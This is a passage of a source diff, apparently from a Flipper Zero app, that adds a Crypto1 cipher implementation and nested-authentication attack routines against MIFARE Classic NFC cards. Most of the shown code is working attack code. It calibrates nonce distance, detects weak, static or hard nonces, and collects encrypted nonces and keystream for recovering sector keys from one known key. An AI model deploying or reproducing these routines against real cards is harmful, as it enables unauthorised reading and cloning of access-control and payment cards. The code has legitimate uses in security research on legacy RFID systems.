+void crypto1_init(Crypto1* crypto1, uint64_t key) {
+    furi_assert(crypto1);
+    crypto1->even = 0;
+    crypto1->odd = 0;
+    for(int8_t i = 47; i > 0; i -= 2) {
+        crypto1->odd = crypto1->odd << 1 | FURI_BIT(key, (i - 1) ^ 7);
+        crypto1->even = crypto1->even << 1 | FURI_BIT(key, i ^ 7);
+    }
+}
+
+uint32_t crypto1_filter(uint32_t in) {
+    uint32_t out = 0;
+    out = 0xf22c0 >> (in & 0xf) & 16;
+    out |= 0x6c9c0 >> (in >> 4 & 0xf) & 8;
+    out |= 0x3c8b0 >> (in >> 8 & 0xf) & 4;
+    out |= 0x1e458 >> (in >> 12 & 0xf) & 2;
+    out |= 0x0d938 >> (in >> 16 & 0xf) & 1;
+    return FURI_BIT(0xEC57E80A, out);
+}
+
+uint8_t crypto1_bit(Crypto1* crypto1, uint8_t in, int is_encrypted) {
+    furi_assert(crypto1);
+    uint8_t out = crypto1_filter(crypto1->odd);
+    uint32_t feed = out & (!!is_encrypted);
+    feed ^= !!in;
+    feed ^= LF_POLY_ODD & crypto1->odd;
+    feed ^= LF_POLY_EVEN & crypto1->even;
+    crypto1->even = crypto1->even << 1 | (evenparity32(feed));
+
+    FURI_SWAP(crypto1->odd, crypto1->even);
+    return out;
+}
+
+uint8_t crypto1_byte(Crypto1* crypto1, uint8_t in, int is_encrypted) {
+    furi_assert(crypto1);
+    uint8_t out = 0;
+    for(uint8_t i = 0; i < 8; i++) {
+        out |= crypto1_bit(crypto1, FURI_BIT(in, i), is_encrypted) << i;
+    }
+    return out;
+}
+
+uint32_t crypto1_word(Crypto1* crypto1, uint32_t in, int is_encrypted) {
+    furi_assert(crypto1);
+    uint32_t out = 0;
+    for(uint8_t i = 0; i < 32; i++) {
+        out |= (uint32_t)crypto1_bit(crypto1, BEBIT(in, i), is_encrypted) << (24 ^ i);
+    }
+    return out;
+}
+
+uint32_t prng_successor(uint32_t x, uint32_t n) {
+    SWAPENDIAN(x);
+    while(n--) x = x >> 1 | (x >> 16 ^ x >> 18 ^ x >> 19 ^ x >> 21) << 31;
+
+    return SWAPENDIAN(x);
+}
+
+void crypto1_decrypt(
+    Crypto1* crypto,
+    uint8_t* encrypted_data,
+    uint16_t encrypted_data_bits,
+    uint8_t* decrypted_data) {
+    furi_assert(crypto);
+    furi_assert(encrypted_data);
+    furi_assert(decrypted_data);
+
+    if(encrypted_data_bits < 8) {
+        uint8_t decrypted_byte = 0;
+        decrypted_byte |= (crypto1_bit(crypto, 0, 0) ^ FURI_BIT(encrypted_data[0], 0)) << 0;
+        decrypted_byte |= (crypto1_bit(crypto, 0, 0) ^ FURI_BIT(encrypted_data[0], 1)) << 1;
+        decrypted_byte |= (crypto1_bit(crypto, 0, 0) ^ FURI_BIT(encrypted_data[0], 2)) << 2;
+        decrypted_byte |= (crypto1_bit(crypto, 0, 0) ^ FURI_BIT(encrypted_data[0], 3)) << 3;
+        decrypted_data[0] = decrypted_byte;
+    } else {
+        for(size_t i = 0; i < encrypted_data_bits / 8; i++) {
+            decrypted_data[i] = crypto1_byte(crypto, 0, 0) ^ encrypted_data[i];
+        }
+    }
+}
+
+void crypto1_encrypt(
+    Crypto1* crypto,
+    uint8_t* keystream,
+    uint8_t* plain_data,
+    uint16_t plain_data_bits,
+    uint8_t* encrypted_data,
+    uint8_t* encrypted_parity) {
+    furi_assert(crypto);
+    furi_assert(plain_data);
+    furi_assert(encrypted_data);
+    furi_assert(encrypted_parity);
+
+    if(plain_data_bits < 8) {
+        encrypted_data[0] = 0;
+        for(size_t i = 0; i < plain_data_bits; i++) {
+            encrypted_data[0] |= (crypto1_bit(crypto, 0, 0) ^ FURI_BIT(plain_data[0], i)) << i;
+        }
+    } else {
+        memset(encrypted_parity, 0, plain_data_bits / 8 + 1);
+        for(uint8_t i = 0; i < plain_data_bits / 8; i++) {
+            encrypted_data[i] = crypto1_byte(crypto, keystream ? keystream[i] : 0, 0) ^
+                                plain_data[i];
+            encrypted_parity[i / 8] |=
+                (((crypto1_filter(crypto->odd) ^ oddparity8(plain_data[i])) & 0x01)
+                 << (7 - (i & 0x0007)));
+        }
+    }
+}

+ 39 - 0
mifare_nested/lib/crypto1/crypto1.h

@@ -0,0 +1,39 @@
+#include "../../lib/parity/parity.h"
+#include <lib/nfc/protocols/mifare_classic.h>
+#include <lib/nfc/protocols/crypto1.h>
+#include "stddef.h"
+
+#define LF_POLY_ODD (0x29CE5C)
+#define LF_POLY_EVEN (0x870804)
+
+#define SWAPENDIAN(x) \
+    ((x) = ((x) >> 8 & 0xff00ff) | ((x)&0xff00ff) << 8, (x) = (x) >> 16 | (x) << 16)
+#define BEBIT(x, n) FURI_BIT(x, (n) ^ 24)
+
+void crypto1_reset(Crypto1* crypto1);
+
+void crypto1_init(Crypto1* crypto1, uint64_t key);
+
+uint32_t crypto1_filter(uint32_t in);
+
+uint8_t crypto1_bit(Crypto1* crypto1, uint8_t in, int is_encrypted);
+
+uint8_t crypto1_byte(Crypto1* crypto1, uint8_t in, int is_encrypted);
+
+uint32_t crypto1_word(Crypto1* crypto1, uint32_t in, int is_encrypted);
+
+uint32_t prng_successor(uint32_t x, uint32_t n);
+
+void crypto1_decrypt(
+    Crypto1* crypto,
+    uint8_t* encrypted_data,
+    uint16_t encrypted_data_bits,
+    uint8_t* decrypted_data);
+
+void crypto1_encrypt(
+    Crypto1* crypto,
+    uint8_t* keystream,
+    uint8_t* plain_data,
+    uint16_t plain_data_bits,
+    uint8_t* encrypted_data,
+    uint8_t* encrypted_parity);

+ 718 - 0
mifare_nested/lib/nested/nested.c

@@ -0,0 +1,718 @@
+#include "nested.h"
+
+#include <furi_hal_nfc.h>
+#include "../../lib/parity/parity.h"
+#include "../../lib/crypto1/crypto1.h"
+#define TAG "Nested"
+
+uint16_t nfca_get_crc16(uint8_t* buff, uint16_t len) {
+    uint16_t crc = 0x6363; // NFCA_CRC_INIT
+    uint8_t byte = 0;
+
+    for(uint8_t i = 0; i < len; i++) {
+        byte = buff[i];
+        byte ^= (uint8_t)(crc & 0xff);
+        byte ^= byte << 4;
+        crc = (crc >> 8) ^ (((uint16_t)byte) << 8) ^ (((uint16_t)byte) << 3) ^
+              (((uint16_t)byte) >> 4);
+    }
+
+    return crc;
+}
+
+void nfca_append_crc16(uint8_t* buff, uint16_t len) {
+    uint16_t crc = nfca_get_crc16(buff, len);
+    buff[len] = (uint8_t)crc;
+    buff[len + 1] = (uint8_t)(crc >> 8);
+}
+
+bool mifare_sendcmd_short(
+    Crypto1* crypto,
+    FuriHalNfcTxRxContext* tx_rx,
+    bool crypted,
+    uint32_t cmd,
+    uint32_t data) {
+    uint16_t pos;
+    uint8_t dcmd[4] = {cmd, data, 0x00, 0x00};
+    nfca_append_crc16(dcmd, 2);
+
+    memset(tx_rx->tx_data, 0, sizeof(tx_rx->tx_data));
+    memset(tx_rx->tx_parity, 0, sizeof(tx_rx->tx_parity));
+
+    if(crypted) {
+        for(pos = 0; pos < 4; pos++) {
+            uint8_t res = crypto1_byte(crypto, 0x00, 0) ^ dcmd[pos];
+            tx_rx->tx_data[pos] = res;
+            tx_rx->tx_parity[0] |=
+                (((crypto1_filter(crypto->odd) ^ oddparity8(dcmd[pos])) & 0x01) << (7 - pos));
+        }
+
+        tx_rx->tx_rx_type = FuriHalNfcTxRxTypeRaw;
+        tx_rx->tx_bits = 4 * 8;
+    } else {
+        for(pos = 0; pos < 2; pos++) {
+            tx_rx->tx_data[pos] = dcmd[pos];
+        }
+
+        tx_rx->tx_rx_type = FuriHalNfcTxRxTypeRxNoCrc;
+        tx_rx->tx_bits = 2 * 8;
+    }
+
+    if(!furi_hal_nfc_tx_rx(tx_rx, 6)) return false;
+
+    return true;
+}
+
+bool mifare_classic_authex(
+    Crypto1* crypto,
+    FuriHalNfcTxRxContext* tx_rx,
+    uint32_t uid,
+    uint32_t blockNo,
+    uint32_t keyType,
+    uint64_t ui64Key,
+    bool isNested,
+    uint32_t* ntptr) {
+    uint32_t nt, ntpp; // Supplied tag nonce
+    uint8_t nr[4];
+
+    // "random" reader nonce:
+    nfc_util_num2bytes(prng_successor(0, 32), 4, nr); // DWT->CYCCNT
+
+    // Transmit MIFARE_CLASSIC_AUTH
+    if(!mifare_sendcmd_short(crypto, tx_rx, isNested, 0x60 + (keyType & 0x01), blockNo)) {
+        return false;
+    };
+
+    memset(tx_rx->tx_data, 0, sizeof(tx_rx->tx_data));
+    memset(tx_rx->tx_parity, 0, sizeof(tx_rx->tx_parity));
+
+    nt = (uint32_t)nfc_util_bytes2num(tx_rx->rx_data, 4);
+
+    if(isNested) crypto1_reset(crypto); // deinit
+
+    crypto1_init(crypto, ui64Key);
+
+    if(isNested) {
+        nt = crypto1_word(crypto, nt ^ uid, 1) ^ nt;
+    } else {
+        crypto1_word(crypto, nt ^ uid, 0);
+    }
+
+    // save Nt
+    if(ntptr) *ntptr = nt;
+
+    // Generate (encrypted) nr+parity by loading it into the cipher (Nr)
+    tx_rx->tx_parity[0] = 0;
+    for(uint8_t i = 0; i < 4; i++) {
+        tx_rx->tx_data[i] = crypto1_byte(crypto, nr[i], 0) ^ nr[i];
+        tx_rx->tx_parity[0] |=
+            (((crypto1_filter(crypto->odd) ^ oddparity8(nr[i])) & 0x01) << (7 - i));
+    }
+
+    nt = prng_successor(nt, 32);
+
+    for(uint8_t i = 4; i < 8; i++) {
+        nt = prng_successor(nt, 8);
+        tx_rx->tx_data[i] = crypto1_byte(crypto, 0x00, 0) ^ (nt & 0xff);
+        tx_rx->tx_parity[0] |=
+            (((crypto1_filter(crypto->odd) ^ oddparity8(nt & 0xff)) & 0x01) << (7 - i));
+    }
+
+    tx_rx->tx_rx_type = FuriHalNfcTxRxTypeRaw;
+    tx_rx->tx_bits = 8 * 8;
+
+    if(!furi_hal_nfc_tx_rx(tx_rx, 25)) {
+        return false;
+    };
+
+    uint32_t answer = (uint32_t)nfc_util_bytes2num(tx_rx->rx_data, 4);
+
+    ntpp = prng_successor(nt, 32) ^ crypto1_word(crypto, 0, 0);
+
+    if(answer != ntpp) {
+        return false;
+    }
+
+    return true;
+}
+
+static int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, const uint8_t* parity) {
+    return ((oddparity8((Nt >> 24) & 0xFF) ==
+             ((parity[0]) ^ oddparity8((NtEnc >> 24) & 0xFF) ^ FURI_BIT(Ks1, 16))) &&
+            (oddparity8((Nt >> 16) & 0xFF) ==
+             ((parity[1]) ^ oddparity8((NtEnc >> 16) & 0xFF) ^ FURI_BIT(Ks1, 8))) &&
+            (oddparity8((Nt >> 8) & 0xFF) ==
+             ((parity[2]) ^ oddparity8((NtEnc >> 8) & 0xFF) ^ FURI_BIT(Ks1, 0)))) ?
+               1 :
+               0;
+}
+
+void nonce_distance(uint32_t* msb, uint32_t* lsb) {
+    uint16_t x = 1, pos;
+    uint8_t calc_ok = 0;
+
+    for(uint16_t i = 1; i; ++i) {
+        pos = (x & 0xff) << 8 | x >> 8;
+
+        if((pos == *msb) & !(calc_ok >> 0 & 0x01)) {
+            *msb = i;
+            calc_ok |= 0x01;
+        }
+
+        if((pos == *lsb) & !(calc_ok >> 1 & 0x01)) {
+            *lsb = i;
+            calc_ok |= 0x02;
+        }
+
+        if(calc_ok == 0x03) {
+            return;
+        }
+
+        x = x >> 1 | (x ^ x >> 2 ^ x >> 3 ^ x >> 5) << 15;
+    }
+}
+
+bool validate_prng_nonce(uint32_t nonce) {
+    uint32_t msb = nonce >> 16;
+    uint32_t lsb = nonce & 0xffff;
+    nonce_distance(&msb, &lsb);
+    return ((65535 - msb + lsb) % 65535) == 16;
+}
+
+MifareNestedNonceType nested_check_nonce_type(FuriHalNfcTxRxContext* tx_rx, uint8_t blockNo) {
+    uint32_t nonces[5] = {};
+    uint8_t sameNonces = 0;
+    uint8_t hardNonces = 0;
+    Crypto1 crypt;
+    Crypto1* crypto = {&crypt};
+
+    for(int32_t i = 0; i < 5; i++) {
+        // Setup nfc poller
+        nfc_activate();
+        furi_hal_nfc_activate_nfca(100, NULL);
+
+        // Start communication
+        bool success = mifare_sendcmd_short(crypto, tx_rx, false, 0x60, blockNo);
+        if(!success) {
+            continue;
+        };
+
+        uint32_t nt = (uint32_t)nfc_util_bytes2num(tx_rx->rx_data, 4);
+        if(nt == 0) continue;
+        if(!validate_prng_nonce(nt)) hardNonces++;
+        nonces[i] = nt;
+
+        nfc_deactivate();
+    }
+
+    for(int32_t i = 0; i < 5; i++) {
+        for(int32_t j = 0; j < 5; j++) {
+            if(i != j && nonces[j] && nonces[i] == nonces[j]) {
+                sameNonces++;
+            }
+        }
+    }
+
+    if(!nonces[4]) {
+        return MifareNestedNonceNoTag;
+    }
+
+    if(sameNonces > 3) {
+        return MifareNestedNonceStatic;
+    }
+
+    if(hardNonces > 3) {
+        return MifareNestedNonceHard;
+    }
+
+    return MifareNestedNonceWeak;
+}
+
+struct nonce_info_static nested_static_nonce_attack(
+    FuriHalNfcTxRxContext* tx_rx,
+    uint8_t blockNo,
+    uint8_t keyType,
+    uint8_t targetBlockNo,
+    uint8_t targetKeyType,
+    uint64_t ui64Key) {
+    uint32_t cuid = 0;
+    Crypto1* crypto = malloc(sizeof(Crypto1));
+    struct nonce_info_static r;
+
+    r.full = false;
+
+    // Setup nfc poller
+    nfc_activate();
+    if(!furi_hal_nfc_activate_nfca(200, &cuid)) {
+        free(crypto);
+        return r;
+    }
+
+    r.cuid = cuid;
+
+    uint32_t nt1;
+    uint32_t nt_unused;
+
+    crypto1_reset(crypto);
+
+    mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
+
+    if(targetKeyType == 1 && nt1 == 0x009080A2) {
+        r.target_nt[0] = prng_successor(nt1, 161);
+        r.target_nt[1] = prng_successor(nt1, 321);
+    } else {
+        r.target_nt[0] = prng_successor(nt1, 160);
+        r.target_nt[1] = prng_successor(nt1, 320);
+    }
+
+    bool success =
+        mifare_sendcmd_short(crypto, tx_rx, true, 0x60 + (targetKeyType & 0x01), targetBlockNo);
+
+    if(!success) {
+        free(crypto);
+        return r;
+    };
+
+    uint32_t nt2 = nfc_util_bytes2num(tx_rx->rx_data, 4);
+    r.target_ks[0] = nt2 ^ r.target_nt[0];
+
+    nfc_activate();
+
+    if(!furi_hal_nfc_activate_nfca(200, &cuid)) {
+        free(crypto);
+        return r;
+    }
+
+    crypto1_reset(crypto);
+
+    mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
+
+    mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt_unused);
+
+    success =
+        mifare_sendcmd_short(crypto, tx_rx, true, 0x60 + (targetKeyType & 0x01), targetBlockNo);
+
+    free(crypto);
+
+    if(!success) {
+        return r;
+    };
+
+    uint32_t nt3 = (uint32_t)nfc_util_bytes2num(tx_rx->rx_data, 4);
+
+    r.target_ks[1] = nt3 ^ r.target_nt[1];
+    r.full = true;
+
+    nfc_deactivate();
+
+    return r;
+}
+
+uint32_t nested_calibrate_distance(
+    FuriHalNfcTxRxContext* tx_rx,
+    uint8_t blockNo,
+    uint8_t keyType,
+    uint64_t ui64Key,
+    uint32_t delay,
+    bool full) {
+    uint32_t cuid = 0;
+    Crypto1* crypto = malloc(sizeof(Crypto1));
+    uint32_t nt1, nt2, i = 0, davg = 0, dmin = 0, dmax = 0, rtr = 0, unsuccessful_tries = 0;
+    uint32_t max_prng_value = full ? 65565 : 1200;
+    uint32_t rounds = full ? 5 : 17; // full does not require precision
+    uint32_t collected = 0;
+
+    for(rtr = 0; rtr < rounds; rtr++) {
+        nfc_activate();
+        if(!furi_hal_nfc_activate_nfca(200, &cuid)) break;
+
+        if(!mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1)) {
+            continue;
+        }
+
+        furi_delay_us(delay);
+
+        if(!mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2)) {
+            continue;
+        }
+
+        // NXP Mifare is typical around 840, but for some unlicensed/compatible mifare tag this can be 160
+        uint32_t nttmp = prng_successor(nt1, 100);
+
+        for(i = 101; i < max_prng_value; i++) {
+            nttmp = prng_successor(nttmp, 1);
+            if(nttmp == nt2) break;
+        }
+
+        if(i != max_prng_value) {
+            if(rtr != 0) {
+                davg += i;
+                dmin = MIN(dmin, i);
+                dmax = MAX(dmax, i);
+            } else {
+                dmin = dmax = i;
+            }
+
+            FURI_LOG_D(TAG, "Calibrating: ntdist=%lu", i);
+            collected++;
+        } else {
+            unsuccessful_tries++;
+            if(unsuccessful_tries > 12) {
+                free(crypto);
+                FURI_LOG_E(
+                    TAG,
+                    "Tag isn't vulnerable to nested attack (random numbers are not predictable)");
+                return 0;
+            }
+        }
+    }
+
+    if(collected > 1) davg = (davg + (collected - 1) / 2) / (collected - 1);
+
+    davg = MIN(MAX(dmin, davg), dmax);
+
+    FURI_LOG_I(
+        TAG,
+        "Calibration completed: rtr=%lu min=%lu max=%lu avg=%lu collected=%lu",
+        rtr,
+        dmin,
+        dmax,
+        davg,
+        collected);
+
+    free(crypto);
+
+    nfc_deactivate();
+
+    return davg;
+}
+
+struct distance_info nested_calibrate_distance_info(
+    FuriHalNfcTxRxContext* tx_rx,
+    uint8_t blockNo,
+    uint8_t keyType,
+    uint64_t ui64Key) {
+    uint32_t cuid = 0;
+    Crypto1* crypto = malloc(sizeof(Crypto1));
+    uint32_t nt1, nt2, i = 0, davg = 0, dmin = 0, dmax = 0, rtr = 0, unsuccessful_tries = 0;
+    struct distance_info r;
+    r.min_prng = 0;
+    r.max_prng = 0;
+    r.mid_prng = 0;
+
+    for(rtr = 0; rtr < 10; rtr++) {
+        nfc_activate();
+        if(!furi_hal_nfc_activate_nfca(200, &cuid)) break;
+
+        mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
+
+        mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2);
+
+        // NXP Mifare is typical around 840, but for some unlicensed/compatible mifare tag this can be 160
+        uint32_t nttmp = prng_successor(nt1, 1);
+
+        for(i = 2; i < 65565; i++) {
+            nttmp = prng_successor(nttmp, 1);
+            if(nttmp == nt2) break;
+        }
+
+        if(i != 65565) {
+            if(rtr != 0) {
+                davg += i;
+                if(dmin == 0) {
+                    dmin = i;
+                } else {
+                    dmin = MIN(dmin, i);
+                }
+                dmax = MAX(dmax, i);
+            }
+
+            FURI_LOG_D(TAG, "Calibrating: ntdist=%lu", i);
+        } else {
+            unsuccessful_tries++;
+            if(unsuccessful_tries > 12) {
+                free(crypto);
+
+                FURI_LOG_E(
+                    TAG,
+                    "Tag isn't vulnerable to nested attack (random numbers are not predictable)");
+
+                return r;
+            }
+        }
+    }
+
+    if(rtr > 1) davg = (davg + (rtr - 1) / 2) / (rtr - 1);
+
+    FURI_LOG_I(
+        TAG, "Calibration completed: rtr=%lu min=%lu max=%lu avg=%lu", rtr, dmin, dmax, davg);
+
+    r.min_prng = dmin;
+    r.max_prng = dmax;
+    r.mid_prng = davg;
+
+    free(crypto);
+
+    nfc_deactivate();
+
+    return r;
+}
+
+struct nonce_info nested_attack(
+    FuriHalNfcTxRxContext* tx_rx,
+    uint8_t blockNo,
+    uint8_t keyType,
+    uint8_t targetBlockNo,
+    uint8_t targetKeyType,
+    uint64_t ui64Key,
+    uint32_t distance,
+    uint32_t delay) {
+    uint32_t cuid = 0;
+    Crypto1* crypto = malloc(sizeof(Crypto1));
+    uint8_t par_array[4] = {0x00};
+    uint32_t nt1, nt2, ks1, i = 0, j = 0;
+    struct nonce_info r;
+    uint32_t dmin = distance - 2;
+    uint32_t dmax = distance + 2;
+
+    r.full = false;
+
+    for(i = 0; i < 2; i++) { // look for exactly two different nonces
+        r.target_nt[i] = 0;
+
+        while(r.target_nt[i] == 0) { // continue until we have an unambiguous nonce
+            nfc_activate();
+            if(!furi_hal_nfc_activate_nfca(200, &cuid)) {
+                free(crypto);
+                return r;
+            }
+
+            r.cuid = cuid;
+
+            mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
+
+            furi_delay_us(delay);
+
+            bool success = mifare_sendcmd_short(
+                crypto, tx_rx, true, 0x60 + (targetKeyType & 0x01), targetBlockNo);
+
+            if(!success) continue;
+
+            nt2 = nfc_util_bytes2num(tx_rx->rx_data, 4);
+
+            // Parity validity check
+            for(j = 0; j < 4; j++) {
+                par_array[j] =
+                    (oddparity8(tx_rx->rx_data[j]) != ((tx_rx->rx_parity[0] >> (7 - j)) & 0x01));
+            }
+
+            uint32_t ncount = 0;
+            uint32_t nttest = prng_successor(nt1, dmin - 1);
+
+            for(j = dmin; j < dmax + 1; j++) {
+                nttest = prng_successor(nttest, 1);
+                ks1 = nt2 ^ nttest;
+
+                if(valid_nonce(nttest, nt2, ks1, par_array)) {
+                    if(ncount > 0) { // we are only interested in disambiguous nonces, try again
+                        FURI_LOG_D(TAG, "Nonce#%lu: dismissed (ambiguous), ntdist=%lu", i + 1, j);
+                        r.target_nt[i] = 0;
+                        break;
+                    }
+
+                    if(delay) {
+                        // will predict later
+                        r.target_nt[i] = nt1;
+                        r.target_ks[i] = nt2;
+                    } else {
+                        r.target_nt[i] = nttest;
+                        r.target_ks[i] = ks1;
+                    }
+
+                    memcpy(&r.parity[i], par_array, 4);
+                    ncount++;
+
+                    if(i == 1 &&
+                       (r.target_nt[0] == r.target_nt[1] ||
+                        r.target_ks[0] == r.target_ks[1])) { // we need two different nonces
+                        r.target_nt[i] = 0;
+                        FURI_LOG_D(TAG, "Nonce#2: dismissed (= nonce#1), ntdist=%lu", j);
+                        break;
+                    }
+
+                    FURI_LOG_D(TAG, "Nonce#%lu: valid, ntdist=%lu", i + 1, j);
+                }
+            }
+
+            if(r.target_nt[i] == 0 && j == dmax + 1) {
+                FURI_LOG_D(TAG, "Nonce#%lu: dismissed (all invalid)", i + 1);
+            }
+        }
+    }
+
+    if(r.target_nt[0] && r.target_nt[1]) {
+        r.full = true;
+    }
+
+    free(crypto);
+
+    nfc_deactivate();
+
+    return r;
+}
+
+struct nonce_info_hard nested_hard_nonce_attack(
+    FuriHalNfcTxRxContext* tx_rx,
+    uint8_t blockNo,
+    uint8_t keyType,
+    uint8_t targetBlockNo,
+    uint8_t targetKeyType,
+    uint64_t ui64Key,
+    uint32_t* found,
+    uint32_t* first_byte_sum,
+    Stream* file_stream) {
+    uint32_t cuid = 0;
+    uint8_t same = 0;
+    uint64_t previous = 0;
+    Crypto1* crypto = malloc(sizeof(Crypto1));
+    uint8_t par_array[4] = {0x00};
+    struct nonce_info_hard r;
+    r.full = false;
+    r.static_encrypted = false;
+
+    for(uint32_t i = 0; i < 8; i++) {
+        nfc_activate();
+        if(!furi_hal_nfc_activate_nfca(200, &cuid)) {
+            free(crypto);
+            return r;
+        }
+
+        r.cuid = cuid;
+
+        if(!mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, NULL))
+            continue;
+
+        if(!mifare_sendcmd_short(crypto, tx_rx, true, 0x60 + (targetKeyType & 0x01), targetBlockNo))
+            continue;
+
+        uint64_t nt = nfc_util_bytes2num(tx_rx->rx_data, 4);
+
+        for(uint32_t j = 0; j < 4; j++) {
+            par_array[j] =
+                (oddparity8(tx_rx->rx_data[j]) != ((tx_rx->rx_parity[0] >> (7 - j)) & 0x01));
+        }
+
+        uint8_t pbits = 0;
+        for(uint8_t j = 0; j < 4; j++) {
+            uint8_t p = oddparity8(tx_rx->rx_data[j]);
+            if(par_array[j]) {
+                p ^= 1;
+            }
+            pbits <<= 1;
+            pbits |= p;
+        }
+
+        // update unique nonces
+        if(!found[tx_rx->rx_data[0]]) {
+            *first_byte_sum += evenparity32(pbits & 0x08);
+            found[tx_rx->rx_data[0]]++;
+        }
+
+        if(nt == previous) {
+            same++;
+        }
+
+        previous = nt;
+
+        FuriString* row = furi_string_alloc_printf("%llu|%u\n", nt, pbits);
+        stream_write_string(file_stream, row);
+
+        FURI_LOG_D(TAG, "Accured %lu/8 nonces", i + 1);
+        furi_string_free(row);
+    }
+
+    if(same > 4) {
+        r.static_encrypted = true;
+    }
+
+    r.full = true;
+
+    free(crypto);
+
+    nfc_deactivate();
+
+    return r;
+}
+
+NestedCheckKeyResult nested_check_key(
+    FuriHalNfcTxRxContext* tx_rx,
+    uint8_t blockNo,
+    uint8_t keyType,
+    uint64_t ui64Key) {
+    uint32_t cuid = 0;
+    uint32_t nt;
+
+    nfc_activate();
+    if(!furi_hal_nfc_activate_nfca(200, &cuid)) return NestedCheckKeyNoTag;
+
+    FURI_LOG_D(
+        TAG, "Checking %c key %012llX for block %u", !keyType ? 'A' : 'B', ui64Key, blockNo);
+
+    Crypto1* crypto = malloc(sizeof(Crypto1));
+
+    bool success =
+        mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt);
+
+    free(crypto);
+
+    nfc_deactivate();
+
+    return success ? NestedCheckKeyValid : NestedCheckKeyInvalid;
+}
+
+bool nested_check_block(FuriHalNfcTxRxContext* tx_rx, uint8_t blockNo, uint8_t keyType) {
+    uint32_t cuid = 0;
+
+    nfc_activate();
+    if(!furi_hal_nfc_activate_nfca(200, &cuid)) return false;
+
+    Crypto1* crypto = malloc(sizeof(Crypto1));
+
+    bool success = mifare_sendcmd_short(crypto, tx_rx, false, 0x60 + (keyType & 0x01), blockNo);
+
+    free(crypto);
+
+    nfc_deactivate();
+
+    return success;
+}
+
+void nested_get_data(FuriHalNfcDevData* dev_data) {
+    nfc_activate();
+    furi_hal_nfc_detect(dev_data, 400);
+    nfc_deactivate();
+}
+
+void nfc_activate() {
+    nfc_deactivate();
+
+    // Setup nfc poller
+    furi_hal_nfc_exit_sleep();
+    furi_hal_nfc_ll_txrx_on();
+    furi_hal_nfc_ll_poll();
+    if(furi_hal_nfc_ll_set_mode(
+           FuriHalNfcModePollNfca, FuriHalNfcBitrate106, FuriHalNfcBitrate106) !=
+       FuriHalNfcReturnOk)
+        return;
+
+    furi_hal_nfc_ll_set_fdt_listen(FURI_HAL_NFC_LL_FDT_LISTEN_NFCA_POLLER);
+    furi_hal_nfc_ll_set_fdt_poll(FURI_HAL_NFC_LL_FDT_POLL_NFCA_POLLER);
+    furi_hal_nfc_ll_set_error_handling(FuriHalNfcErrorHandlingNfc);
+    furi_hal_nfc_ll_set_guard_time(FURI_HAL_NFC_LL_GT_NFCA);
+}
+
+void nfc_deactivate() {
+    furi_hal_nfc_ll_txrx_off();
+    furi_hal_nfc_start_sleep();
+    furi_hal_nfc_sleep();
+}

+ 118 - 0
mifare_nested/lib/nested/nested.h

@@ -0,0 +1,118 @@
+#pragma once
+
+#include <lib/nfc/protocols/nfc_util.h>
+#include <lib/nfc/protocols/mifare_classic.h>
+#include <lib/nfc/protocols/crypto1.h>
+
+#include <storage/storage.h>
+#include <stream/stream.h>
+#include <stream/buffered_file_stream.h>
+
+typedef enum {
+    MifareNestedNonceNoTag,
+    MifareNestedNonceWeak,
+    MifareNestedNonceStatic,
+    MifareNestedNonceHard,
+} MifareNestedNonceType;
+
+MifareNestedNonceType nested_check_nonce_type(FuriHalNfcTxRxContext* tx_rx, uint8_t blockNo);
+
+struct nonce_info_static {
+    uint32_t cuid;
+    uint32_t target_nt[2];
+    uint32_t target_ks[2];
+    bool full;
+};
+
+struct nonce_info_hard {
+    uint32_t cuid;
+    bool static_encrypted;
+    bool full;
+};
+
+struct nonce_info {
+    uint32_t cuid;
+    uint32_t target_nt[2];
+    uint32_t target_ks[2];
+    uint8_t parity[2][4];
+    bool full;
+};
+
+struct distance_info {
+    uint32_t min_prng;
+    uint32_t max_prng;
+    uint32_t mid_prng;
+};
+
+struct nonce_info_static nested_static_nonce_attack(
+    FuriHalNfcTxRxContext* tx_rx,
+    uint8_t blockNo,
+    uint8_t keyType,
+    uint8_t targetBlockNo,
+    uint8_t targetKeyType,
+    uint64_t ui64Key);
+
+struct nonce_info nested_attack(
+    FuriHalNfcTxRxContext* tx_rx,
+    uint8_t blockNo,
+    uint8_t keyType,
+    uint8_t targetBlockNo,
+    uint8_t targetKeyType,
+    uint64_t ui64Key,
+    uint32_t distance,
+    uint32_t delay);
+
+struct nonce_info_hard nested_hard_nonce_attack(
+    FuriHalNfcTxRxContext* tx_rx,
+    uint8_t blockNo,
+    uint8_t keyType,
+    uint8_t targetBlockNo,
+    uint8_t targetKeyType,
+    uint64_t ui64Key,
+    uint32_t* found,
+    uint32_t* first_byte_sum,
+    Stream* file_stream);
+
+uint32_t nested_calibrate_distance(
+    FuriHalNfcTxRxContext* tx_rx,
+    uint8_t blockNo,
+    uint8_t keyType,
+    uint64_t ui64Key,
+    uint32_t delay,
+    bool full);
+
+struct distance_info nested_calibrate_distance_info(
+    FuriHalNfcTxRxContext* tx_rx,
+    uint8_t blockNo,
+    uint8_t keyType,
+    uint64_t ui64Key);
+
+typedef enum {
+    NestedCheckKeyNoTag,
+    NestedCheckKeyValid,
+    NestedCheckKeyInvalid,
+} NestedCheckKeyResult;
+
+NestedCheckKeyResult nested_check_key(
+    FuriHalNfcTxRxContext* tx_rx,
+    uint8_t blockNo,
+    uint8_t keyType,
+    uint64_t ui64Key);
+
+bool nested_check_block(FuriHalNfcTxRxContext* tx_rx, uint8_t blockNo, uint8_t keyType);
+
+void nested_get_data();
+
+bool mifare_classic_authex(
+    Crypto1* crypto,
+    FuriHalNfcTxRxContext* tx_rx,
+    uint32_t uid,
+    uint32_t blockNo,
+    uint32_t keyType,
+    uint64_t ui64Key,
+    bool isNested,
+    uint32_t* ntptr);
+
+void nfc_activate();
+
+void nfc_deactivate();

+ 71 - 0
